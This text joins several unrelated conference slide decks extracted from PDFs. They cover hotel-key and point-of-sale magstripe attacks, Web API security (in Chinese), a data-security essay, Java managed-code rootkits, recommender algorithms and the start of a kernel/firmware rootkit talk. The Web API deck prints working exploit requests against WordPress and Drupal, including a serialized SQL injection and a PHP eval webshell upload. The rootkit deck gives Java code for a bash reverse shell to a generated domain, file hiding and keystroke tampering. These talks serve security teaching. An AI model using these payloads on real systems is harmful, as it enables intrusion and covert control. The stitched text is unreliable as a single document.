And Point of Sale Systems HACKING HOTEL KEYS Security Consultant TWITTER, LinkedIN @westonhecker Rapid7 www.rapid7.com Senior Security Engineer/Senior Pentester/ Security Researcher. About 11 years pen-testing, Security Research, Speaker at Defcon 22, 23 and 24 Las Vegas, HOPE 11, TakedownCON 2016,B-sides Boston, Blackhat 2016, Enterprise Connect 2016, ISC2, SC Congress Toronto. 12 years programming and Reverse Engineering. Side projects Department of Home Land Security. Attacking 911 centers / Malware Analysis Ransomware. Hacking ATM’s, Cars, Point of Sale Systems, Hotel Key Systems - Property Management Software. “A Little Bit About Myself” Explain magstrip readers Magspoofer. Difference from RFID Explain Modification to device. Hotel back ends explained, POS systems Explained Process of key checkout check in. Different parts of hotels. Attacks on Privileged Keys. Maids, Service , Fireman Encryption is just encoded. What Is This Talk About? What lead to research on POS from hotel keys. How Do POS systems use magstripe readers. Trigger events and when the Reader listening and what is it listening for. Management cards on POS/card readers on the screen. How is a magstripe reader Used as a HID keyboard?. Injecting 102-US and proprietary keyboard layouts into binary data. Cash tend/Check tend attack. Attacking OS SQL injection CMD Drive by attack Restaurant attacks/other mag readers/Rewards programs and players cards on slot machines What Is This Talk About? • What is Magspoofer Thanks to Samy Kamkar for his work. How does a Magstipe Reader work • Explanation of Magspoofer+ and EM fields and how they interact w ith Heads on magnetic head read er this is not RFID Cards!!!. How magspoofer works what is SMT How To Handle Over Heating 100s of Cards = Heat Explanation of PMS Explanation of proprietary card readers and security behind hotel keys. Collecting information from keys and reissued keys. Interactions with different readers your door vs elevator external access and pool access. Privileged cards Management, Maids, Service, Fireman law enforcement. Examples of card Dumps Raw data fr om track 3 other tracks restaurant an d Resort functions. There are limitations on characters you can enter Breaking the complex encryption of hotel keys... o it’s simple encoding never mind. Checking into your own hotel room KIOSK research. • What lead to this research after • hotel keys? Point of Sale Systems How do POS systems use magstripe readers? Trigger events and when the Reader listening and what is it listening for. • Management cards on • POS/card readers on the screen. How is a magstripe reader Used as a HID keyboard? Injecting 102-US and proprietary keyboard layouts into binary data. Cash tend/Check tend attack. Behind every strong man is a strong woman and behind ever POS there is a outdated OS. Exiting POS Software. Popping CMD downloading payload. Payload overview what the bad guys would load. Locked down and custom Dev'ed envi ronments. Limitations of mag injection/making a physical car d attack/ limitations of physical can you make a wa iter do your dirty work? These devices Are everywhere Injecting player rewards cards into Slot machines people already intentionally leave cards in machin e for this purpose. Rewards card point collecting rolling 10 different accounts/ Grocery store and gas stations Injecting into prepaid/phone card acti vation/ activate at terminal swapping systems at POS Trigger injection attacks "Sniffing USB reader” power up wh en power up is detected it triggers the EM read. Some comp anies ask to confirm account if only you could hit the enter key some how !! Clock-In systems never be late for work again. • Going to inject the Cash Tender • And next I'm going to Install Credit Card Skimming Software with a Spoofer. Going over 2 Demos Stay Legal THANKS FOR COMING Security Consultant TWITTER, LinkedIN @westonhecker Rapid7 www.rapid7.com
pdf
Web API 安全漏洞与检测防护 徐诣博 2017.8.25 目录 Contents Page 2、Web API 安全漏洞 3、WAF Web API 漏洞防护 4、Web API 安全开发建议 1 、Web API 安全威胁 目录 Contents Page 第 1 章 Web API 安全威胁 什么是 Web API • 使用 HTTP 协议通过网络调用的 API • Web API 是一个 Web 系统,可以通过访问 URI 与服务器完成信息交互,或者获取存放在服务 器上的数据信息等,调用者通过程序访问并机 械地使用这些数据。 • Web API 和 Web Services • JSON 谁在用 Web API API 安全威胁 • 非法信息窃取 • 浏览器访问 Web API 的意外 • Web API 业务漏洞 • Web API 访问速率限制不当 • HTTP 头部设置不当 非法信息窃取 • HTTP 嗅探/HTTPS 嗅探,会话劫持 – HTTPS TLS 1.2 – SSLStrip 攻击 – HSTS • SSL 漏洞 – 2014 OpenSSL Heartbleed 安全漏洞 – CCS 注入漏洞 • 客户端证书验证漏洞 – 证书有效性验证 • HTTPS性能 – 是否允许一些 Web API 采用 HTTP 浏览器访问 Web API 的意外 • XSS – 输入/输出过滤 – 严格的 Content-Type 限制 • CSRF – CSRF Token • XXE – XML 解析 • JSON劫持 – X-Requeated-With – 浏览器 JSON 数据识别 – 禁止 Javascript 执行 JSON 数据 Web API 业务漏洞 • 参数篡改 – 连续编号 ID /订单 – 1 元支付 • 重放攻击 – 伪装支付 • 权限控制 – 越权操作 Web API 访问速率限制不当 • API 大规模访问/DoS 攻击 – API 访问速率控制 • 限制单用户访问次数 – 识别用户/限速单位/何时重置 • 429 状态码 – HTTP/1.1 429 Too Many Requests – Retry-After: 3600 • HTTP 头部传递限速信息 – X-RateLimit-Limit 单位时间访问上限 – X-RateLimit-Remaining 剩余访问次数 – X-RateLimit-Rest 访问次数重置时间 HTTP 头部设置不当 • X-Content-Type-Options: nosniff – > = IE8 nosniff • X-XSS-Protection – > = IE8 X-XSS-Protection: 1; mode=block – Chrome/Firefox 中无效 • X-Frame-Options – Deny <frame>,<iframe>,<object> – > = IE8 deny • Content-Security-Policy – 减轻 XSS ,定义 script,images,fonts,css 白名单 HTTP 头部设置不当 • Strict-Transport-Security – HSTS – Strict-Transport-Security: max-age=<expire-time>; preload • Public-Key-Pins – HTTP-based pulic key pinning HPKP – Public-Key-Pins: pin-sha256=<base64==>; max-age=<expireTime>; report- uri=<reportURI> – https://www.ssllabs.com/ssltest/ • Set-Cookie – Secure – HttpOnly Github API 首部 目录 Contents Page 第 2 章 Web API 安全漏洞 常见的 Web API 安全漏洞 • WordPress 4.7 / 4.7.1 REST API 内容注入漏洞 • Drupal Module RESTWS 7.x - Remote PHP Code Execution • SugarCRM 6.5.23 - REST PHP Object Injection Exploit • Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution • Oracle GlassFish Server - REST CSRF • QQ Browser 9.6 API 权限控制问题导致泄露隐私模式 • Hacking Docker:Registry API 未授权访问 WordPress REST API 内容注入漏洞 POST /cms/wordpress_v4_7_1/wordpress/wp-json/wp/v2/posts/1/?id=1abc HTTP/1.1 Accept-Encoding: identity Content-Length: 26 Host: 172.16.7.20 Content-Type: application/json Connection: close User-Agent: Python-urllib/2.7 {"title": "wwwwwwwwwwwww"} /wp-json/wp/v2/posts/1?id=1abc id=1abc 等于 id=1 Drupal 7.X Services Module Unserialize() to RCE SQL 注入攻击 POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1 Host: 172.16.7.20 Accept: application/json Content-Type: application/vnd.php.serialized Content-Length: 888 a:2:{s:8:"username";O:19:"SelectQueryExtender":4:{s:8:".*.query";O:17:"DatabaseCondition":5:{s:13:".*.cond itions";a:1:{s:12:"#conjunction";s:3:"AND";}s:12:".*.arguments";a:0:{}s:10:".*.changed";b:0;s:29:".*.queryPlac eholderIdentifier";N;s:13:"stringVersion";s:494:"0x3a) UNION SELECT ux.uid AS uid, ux.name AS name, '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd' AS pass, ux.mail AS mail, ux.theme AS theme, (SELECT data FROM {cache} WHERE cid='services:my_rest_endpoint:resources') AS signature, ux.pass AS signature_format, ux.created AS created, ux.access AS access, ux.login AS login, ux.status AS status, ux.timezone AS timezone, ux.language AS language, ux.picture AS picture, ux.init AS init, ux.data AS data FROM {users} ux WHERE ux.uid<>(0";}s:19:".*.uniqueIdentifier";s:8:"anything";s:13:".*.connection";N;s:14:".*.placeholder";i:0;}s:8:"pa ssword";s:10:"ouvreboite";} POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1 Host: 172.16.7.20 Accept: application/json Content-Type: application/json Content-Length: 91 {"filename":"dixuSOspsOUU.php","data":"<?php eval(file_get_contents('php:\/\/input')); ?>"} PHP 远程代码执行 Drupal 7.X Services Module Unserialize() to RCE Drupal Core – 高危漏洞 • Drupal CVE-2017-6919 Access Bypass Vulnerability • File REST resource does not properly validate - Less Critical - Drupal 8 - CVE-2017-6921 • REST API can bypass comment approval - Access Bypass - Moderately Critical - Drupal 8 - CVE-2017-6924 REST 权限控制 bypass Web API 渗透测试 • 渗透测试工具 – BurpSuite – Postman – Hurl.it – SoapUI NG Pro – Fuzzapi • 渗透测试平台 – Hackazon – Mutillidae – DVWS 目录 Contents Page 第 3 章 WAF Web API 漏洞防护 WAF 防护 Web API 漏洞攻击 • 通用漏洞防护 • Web API 访问合规 • Web API 访问速率控制 • Web API 防护难点 通用漏洞防护 • SQL 注入 • XSS • CSRF • XXE • 命令注入 • 代码注入 • 暴力破解 Web API 访问合规 – 输入/输出校验 • URI • Content-Type – application/xml – application/json – application/vnd.php.serialized – API 访问自学习 Web API 访问速率控制 • 分配会话 CID Cookie • 针对特定的 URI – Requests / Minute – Requests / Session – Session Length Web API 防护难点 • API 是为程序调用而设计 • API 常见格式 – JSON/XML/php.serialized 解析 • JSON 主流 • XML 逐渐减少 • PHP 广泛性 – GWT 框架 JavaRMI Google x – WebSockets ws://** x • Web Services SOAP • 权限管理与访问控制 • WAF API 防护能力与配置成本 目录 Contents Page 第 4 章 Web API 安全开发建议 开发建议 • 完善的 API 文档 • 约定俗称的开发规范 • 关键应用 API 沙盒 – 涉及支付/个人信息 • API Console • API SDK URI • URI 是否短小且易输入 • URI 是否见名知意 • URI 是否只有小写字母组成 • URI 是否容易修改 • URI 是否反映了服务器的架构 • URI 是否统一 • URI 中的单词表示的意思是否通识 • URI 中名词是否为复数形式 • URI 中有没有空格和需要编码的字符 • URI 中单词和单词之间是否使用连接符(-) 身份认证 • 登录是否使用 Oauth 2.0 • JSON Web Tokens (JWT) 响应数据 • 响应数据是否使用 JSON 作为默认格式 • 响应数据是否支持了不必要的 JSONP • 响应数据是否可以被客户端篡改 • 响应数据的结构是否尽量扁平化 • 响应数据是否用对象来描述而不是数组 • 响应数据中的名称所用的单词是否通识 • 响应数据中名称是否在整个 API 里面保持一致 • 响应数据中是否用了奇怪的缩写 • 响应数据的名称单复数是否和数据内容一致 响应数据 • 出错时响应数据是否便于定位分析 • 出错时是否返回 HTML 数据 • 是否返回合适的状态码 • 是否返回为合适的媒体类型 • 能否支持 CORS • 是否设置合适的头部控制缓存 其他 • 是否对 API 进行版本管理 • API 版本命名时有没有遵循语义化版本控制 • 是否在 URI 中嵌入版本编号 • 是否考虑版本兼容性及 API 版本终止事宜 • 是否使用 HTTPS 来提供 API • 是否正确处理 JSON 转义 • 是否通过 X-Requested-With 首部防止 Javascript 读取 JSON 数据 • 浏览器访问 API 时是否设置 CSRF Token • 是否对 API 接收参数做非法性检验 • 是否有 API 访问次数/速率控制 • 是否正确的设置 HTTP 安全头部 API-Security-Checklist • API-Security-Checklist https://github.com/shieldfy/API-Security-Checklist/ Venustech THANKS! 谢 谢 观 看
pdf
数据安全杂谈(⼀) 本⽂发表于赛博回忆录。 前⾔ 随着数据安全提上安全的⽇常,⼤家其实可以发现,传统的那种堆叠安全设备的防护⽅式是⼀个低效 的,不太实⽤的⼀种防护⼿段。 所以防护的重⼼发⽣了偏移 ⼀个公司的安全建设随着防护的重⼼发⽣偏移,从⽽导致安全建设的中⼼也发⽣了偏移 痛 其实⼀个企业在做企业级的安全建设的时候,都会存在⼀些相应的痛点问题,这些痛点的解决随时随 地,都牵涉着⼀个安全团队的安全建设的进度。 这样单独总结出来⼤家可能觉得,这并不是痛点啊?下⾯我就⼀⼀解释⼀下这些痛点! 1、资源有限 预防性的安全建设资源有限 已经建设的业务投⼊⽅⾯资源有限 已经发布的产品线 资源有限 时间不够 能⼒不⾜ 没有⼈负责的业务 2、时间不够 业务都完成不了(为什么要sdl、修漏洞) 3、能⼒不⾜ 缺少安全设计能⼒和优秀的开发⼈员 安全解决⽅案五花⼋⻔,没有统⼀的安全架构设计 过多的安全投⼊会影响业务(或者安全⼒度过⼤,会根本上影响业务) 这个或许就是⼀个甲⽅的安全建设过程中⾯临的很多问题,那么在这么多的问题下,现在的⼤多数甲⽅ 的安全模式是什么呢? 安全模式 近⼏年,其实攻防的热度⾮常⾼,催⽣了⼀批很多攻防能⼒极致的⼯程师们,当然在⼀个⽅⾯如果有极 致的能⼒,并不是不好的,⽽证明⼀个⼈的在某个领域的专注程度,但是从⼀些⽅⾯,我们也可以了解 到现在的⼤多数的安全其实就在这种攻防的体制下进⾏安全建设的,流量监控、⽇志审计等等设备。 攻防模式 攻防模式其实是⼀种消防员的救⽕模式,哪⾥有出现⽕灾就去把灭⽕,⼀个庞⼤业务体量的安全甲⽅, 哪⾥出现了⼀个靶标,就去把那个漏洞修掉。这种模式有⼀个有利的地⽅是效果很直接,感官上很明 显,今天发现⼏个⾼危、明天打了⼏个补丁。但是这种⻓期救⽕的模式,会让⼀个安全部⻔陷⼊⻓期的 持久战中,有的⼈乐此不疲,⽽有的⼈已经身⼼疲惫。尤其是红队和蓝队在⻓久的拉锯战中,内卷⼗分 严重。 事后救⽕型模式! 说到底,就是渗透测试等这些安全防护的⼿段永远都是在做⼀个事后救⽕的操作,可能其中挖掘漏洞的 成果还局限在渗透测试⼯程师的经验和能⼒上,所以我们的解决⽅法是什么?
pdf
Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment DEFCON 24, August 6th 2016 Benjamin Holland (daedared) ben-holland.com DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Developing Managed Code Rootkits for the Java Runtime Environment DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A $ whoami DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A $ whoami Benjamin Holland (daedared) B.S. in Computer Engineering (2005 - 2010) Wabtec Railway Electronics, Ames Lab, Rockwell Collins B.S. in Computer Science (2010 - 2011) M.S. in Computer Engineering and Information Assurance (2010 - 2012) MITRE Iowa State University Research (2012 - 2015) DARPA Automated Program Analysis for Cybersecurity (APAC) Program PHD in Computer Engineering (2015-????) DARPA Space/Time Analysis for Cybersecurity (STAC) Program DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A DEFCON Inspirations It is truly an honor to be here... Early memories of reading Winn Schwartau’s Information Warfare One of my first introductions to security topics This talk itself was inspired by a previous DEFCON talk DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Background DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Hello World DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Hello (weird) World DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Java Runtime Environment DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Java Runtime Environment DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Java Runtime Environment DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Java Runtime Environment DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Java Runtime Environment DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Managed Code Rootkits (MCRs) Post exploitation activity (need root/administrator privileges) C:\Program Files\Java\. . . \lib\rt.jar Compromises EVERY program using the modified runtime Out of sight out of mind Code reviews/audits don’t audit runtimes (typically) May be overlooked by forensic investigators Rootkits are platform independent (if done right) Runtimes are already fully featured Object Oriented programming Standard libraries Additional access to low level APIs DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Strategies for Modifying the Runtime DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Strategies for Modifying the Runtime DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Pioneering Work Pioneering work by Erez Metula (DEFCON 17) "ReFrameworker" tool to modify .NET runtimes XML modules define injection tasks Generates deployment scripts Uses an assembler/disassembler pair to make modifications Usability? To make modules you have to write code in IR. Portability? Depends on your target and module implementation. Maintenance? Last update was over 6 years ago... DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A New Framework Goals MCR support for Java Runtime Environment Minimal prerequisite user knowledge No knowledge of bytecode or intermediate languages Simple development cycle Consider: developing, debugging, deploying Portability (Write Once, Exploit Everywhere) DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A JReFrameworker DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A JReFrameworker Write rootkits in Java source! Modification behaviors defined with source annotations Develop and debug in Eclipse IDE Exploit "modules" are Eclipse Java projects Exportable payload droppers Bytecode injections are computed on the fly Free + Open Source (MIT License): github.com/benjholla/JReFrameworker DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A JReFrameworker Write rootkits in Java source! Modification behaviors defined with source annotations Develop and debug in Eclipse IDE Exploit "modules" are Eclipse Java projects Exportable payload droppers Bytecode injections are computed on the fly Free + Open Source (MIT License): github.com/benjholla/JReFrameworker DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Hello (weird) World Revisited @MergeType public class BackwardsPrintStream extends java.io.PrintStream { @MergeMethod @Override public void println(String str){ StringBuilder sb = new StringBuilder(str); super.println(sb.reverse().toString()); } } DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Annotation Types DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Annotation Types DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Modules DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Get Creative Time to get creative... DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Hidden File Module @MergeType public class HiddenFile extends java.io.File { @MergeMethod @Override public boolean exists(){ if(isFile() && getName().equals("secretFile")){ return false; } else { return super.exists(); } } } DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Hidden File Module DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Hidden File Module DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Beetlejuice @MergeType public class BeetlejuiceObject extends java.lang.Object { @DefineField private int beetlejuice; @MergeMethod public String toString(){ StackTraceElement[] st = new Exception().getStackTrace(); for(StackTraceElement element : st) if(element.getMethodName().equals("beetlejuice")) if(++beetlejuice==3) i.Main.main(new String[]{}); return super.toString(); } } DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Beetlejuice public class Test { static class TimBurton {} public static void main(String[] args) { TimBurton timBurton = new TimBurton(); beetlejuice(timBurton); beetlejuice(timBurton); beetlejuice(timBurton); } private static void beetlejuice(TimBurton timBurton){ System.out.println(timBurton.toString()); } } DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Beetlejuice The “i.Main.main(new String[]);” invokes Mocha DOOM Port of DOOM shareware to pure Java github.com/AXDOOMER/mochadoom Payload behaviors can depend on the state or structure of the client program DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Reverse Shell + DGA Define a java.util.StreamForwarder class Forward shell inputs/outputs to TCP stream InetAddress address = InetAddress.getByName(domain); String ipAddress = address.getHostAddress(); final Process process = Runtime.getRuntime().exec("/bin/bash"); Socket socket = new Socket(ipAddress, 6666); forwardStream(socket.getInputStream(), process.getOutputStream()); forwardStream(process.getInputStream(), socket.getOutputStream()); forwardStream(process.getErrorStream(), socket.getOutputStream()); process.waitFor(); ... DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Reverse Shell + DGA Merge Domain Generation Algorithm (DGA) logic into java.util.Date String domain = "www."; int year = getYear(); int month = getMonth(); int day = getDay(); for(int i=0; i<16; i++){ year = ((year ^ 8 * year) >> 11) ^ ((year & 0xFFFFFFF0) << 17); month = ((month ^ 4 * month) >> 25) ^ 16 * (month & 0xFFFFFFF8); day = ((day ^ (day << 13)) >> 19) ^ ((day & 0xFFFFFFFE) << 12); domain += (char)(((year ^ month ^ day) % 25) + 97); } domain += ".com"; DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Reverse Shell + DGA Malicious client probes for payload Create a reverse shell to the domain of the day public static void main(String[] args) throws Exception { Date d = new Date(); // attempts to invoke a private method named reverseShell // in java.util.Date that may or may not exist ;) Method method = d.getClass().getDeclaredMethod("reverseShell"); method.setAccessible(true); method.invoke(d); } DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A SpellWrecker Define SpellWrecker class (inverse of a spellchecker) As average typing speed increases, more typos are injected As average typing speed reduces, less typos are injected @MergeType public class SpellWreckedKeyEvent extends KeyEvent { @MergeMethod @Override public char getKeyChar(){ char original = super.getKeyChar(); return SpellWrecker.spellwreck(original); } } DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Mitigations DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Bytecode Modification Indicators What is wrong with this picture? (hint: look at the line numbers) DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Q/A DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment Developing Managed Code Rootkits for the Java Runtime Environment $ whoami Background JReFrameworker Modules Mitigations Q/A Questions? Thank you! Resources: Setup + Tutorials: ben-holland.com/JReFrameworker Source Code: github.com/benjholla/JReFrameworker DEFCON 24, August 6th 2016 Developing Managed Code Rootkits for the Java Runtime Environment
pdf
Hacking Desire “Reverse-engineering what people want” Ian Clarke, CEO Uprizer Labs [email protected] Why? • Everyone has needs and desires • If we can predict these, then we can give people what they want • This will make them happy • ??? • Profit! Specific problems we could solve • Music (last.fm, Indy, Pandora) • Movies (Netflix) • Advertising (“behavioral advertising”) • Dating Existing approach: Item based CF • “People who liked X also liked these” Pros Cons Simple to implement Naive - relies on a single piece of information about the user Easy for end-users to understand Limited diversity in recommendations Existing approach: User based CF • “People like you liked these” Pros Cons Can develop quite nuanced view of a user’s preferences Requires a lot of data per-user to accurately determine similarity Easy for end-users to understand Can be hard to scale - naive implementation is O(N2) Representing user preference -10.0 -5.0 0 5.0 10.0 Action Violence Sci-Fi Romance -11.25 -3.75 3.75 11.25 Action Violence Sci-Fi Romance Ian: Robocop: Computing user preference Computing user preference • User preferences are A B C D Computing user preference • User preferences are A B C D • Item features are e f g h Computing user preference • User preferences are A B C D • Item features are e f g h • Rating = Ae + Bf + Cg + Dh Computing user preference • User preferences are A B C D • Item features are e f g h • Rating = Ae + Bf + Cg + Dh • But... Computing user preference • User preferences are A B C D • Item features are e f g h • Rating = Ae + Bf + Cg + Dh • But... • How do we determine values for A, B, C, D, e, f, g, and h? Optimization through Gradient Descent • Find the optimal by gradually moving towards it • Similar to a ball rolling down a hill • Be careful of local minima Choosing features Choosing features • How do we decide what the important features of something are? Choosing features • How do we decide what the important features of something are? • We don’t need to! We let the gradient descent algorithm figure it out for us! Choosing features • How do we decide what the important features of something are? • We don’t need to! We let the gradient descent algorithm figure it out for us! • We let the algorithm determine what features make sense for accurate predictions Choosing features • How do we decide what the important features of something are? • We don’t need to! We let the gradient descent algorithm figure it out for us! • We let the algorithm determine what features make sense for accurate predictions • They may correspond to qualities we have names for, or they may not Does it work? • Netflix Prize has become de-facto standard for testing collaborative filters • Half a million users • 20,000 movies • 100 million ratings Root Mean Squared Error • Netflix Prize measures prediction accuracy • Mean difference between what was predicted and what user actually did • Square the differences, and take root of their mean • Has effect of punishing very bad predictions more than simple mean would • Uses an unseen “probe set” so that algorithm can’t just memorize data Our algorithm’s performance • We score 0.905 on Netflix probe set • This is about 5% lower and therefore better than Netflix’ own algorithm • But, some algorithms get down as low as 0.864 • How do they do this? • Can we beat them? • Do we want to? Flaws in RMSE metric • In most CF applications: • Predictions only matter relative to each- other • Accuracy of high predictions is much more important than low predictions • RMSE accounts for neither of these facts • So: A better RMSE doesn’t necessarily translate into better real-world performance
pdf
1 DEFCON 2018 USA ALEXANDRE BORGES RING 0/-2 ROOKITS : COMPROMISING DEFENSES DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER PROFILE AND TOC TOC: • Introduction • Rootkits: Ring 0 • Advanced Malwares and Rootkits: Ring -2 • Malware and Security Researcher. • Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics, Rootkits and Software Exploitation. • Member of Digital Law and Compliance Committee (CDDC/ SP) • Reviewer member of the The Journal of Digital Forensics, Security and Law. • Refereer on Digital Investigation:The International Journal of Digital Forensics & Incident Response • Instructor at Oracle, (ISC)2 and Ex-instructor at Symantec. 2 DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ACKNOWLEDGMENT DEFCON 2018 - USA 3 Joanna Rutkowska John Loucaides Oleksandr Bazhaniuk Sergey Bratus Vicent Zimmer Yuriy Bulygin Xeno Kovah Alex Bazhaniuk Alex Matrosov Andrew Furtak Bruce Dang Corey Kallenberg Dmytro Oleksiuk Engene Rodionov These professionals deserve my sincere “thank you” and deep respect for their researches on these topics. I have learned from their explanations and articles. By the way, I continue learning... ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER DEFCON 2018 - USA 4 INTRODUCTION ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER RING 0/-2 ROOTKITS DEFCON 2018 - USA 5 ADVANCED MALWARES: • MBR/VBR/UEFI rootkits • Tecniques used by rootkits • Kernel Code Signing Bypasses • MBR + IPL infection • BIOS, UEFI and boot architecture • Boot Guard • Secure Boot attacks • WSMT (Windows SMM Security • Mitigation Table) • BIOS Guard • BIOS/UEFI Protections RING 0: • Kernel Callback methods • WinDbg structures • Kernel Drivers Structures • Malicious Drivers • Modern C2 communication • Kernel Pools and APCs ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER DEFCON 2018 - USA 6 ROOTKITS: RING 0 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 7 • Kernel Callback Functions, which are are a kind of “modern hooks” oftenly used by antivirus programs for monitoring and alerting the kernel modules about a specific event ocurrence. Therefore, they are used by malwares (kernel drivers) for evading defenses. • Most known callback methods are: • 